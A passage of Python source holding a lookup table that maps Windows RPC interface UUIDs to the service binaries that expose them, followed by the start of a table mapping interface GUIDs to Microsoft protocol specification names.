"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll", "\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll", "\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll", "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll", "\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe", "\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll", "\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL", "\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll", "\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll", "\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll", "\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll", "\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll", "\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll", "\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe", "\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll", "\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll", "\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll", "\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe", "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll", "\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server", "\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll", "\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe", "\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll", "\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll", "\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", "\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll", "\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe", "\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll", "\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe", "\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll", "\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe", "\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe", "\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe", "\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll", "\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll", "\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll", "\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll", "\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL", "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll", "\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll", "\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll", "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll", "\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server", "\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll", "\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll", "\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe", "\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll", "\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll", "\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", "\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll", "\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll", "\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll", "\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe", "\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll", "\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll", "\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll", "\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll", "\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll", "\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll", "\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe", "\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll", "\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll", "\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll", "\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll", "\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll", "\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll", "\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll", "\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll", "\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll", "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll", "\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", "\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll", "\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll", "\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll", "\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll", "\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll", "\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe", "\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll", "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll", "\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll", "\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll", "\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", "\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe", "\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll", "\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll", "\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll", "\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll", "\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe", "\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll", "\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe", "\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll", "\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll", "\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll", "\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll", "\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe", "\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll", "\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll", "\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll", "\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL", "\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll", "\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe", "\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe", "\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", "\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll", "\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll", "\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll", "\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll", "\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll", "\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll", "\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll", "\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe", "\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll", "\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll", "\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll", "\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe", "\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll", "\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll", "\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll", "\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll", "\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll", "\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", "\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll", "\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll", "\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll", "\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll", "\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll", "\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll", "\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll", "\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll", "\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE", "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll", "\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe", "\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server", "\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll", "\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll", "\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe", "\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll", "\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll", "\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe", "\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll", "\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll", "\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe", "\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe", "\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll", "\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe", "\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll", "\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe", "\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll", "\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe", "\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll", "\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe", "\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll", "\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe", "\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll", "\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll", "\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", "\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll", "\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL", "\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll", "\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", "\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll", "\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll", "\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll", "\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll", "\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll", "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll", "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll", "\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll", "\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll", "\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe", "\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll", "\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll", "\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll", "\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll", "\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll", "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe", "\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll", "\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll", "\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll", "\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe", "\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll", "\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll", "\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll", "\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe", "\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe", "\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe", "\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll", "\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll", "\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll", "\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll", "\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll", "\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll", "\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe", "\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll", "\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE", "\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll", "\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe", } KNOWN_PROTOCOLS = { '52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:', 'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 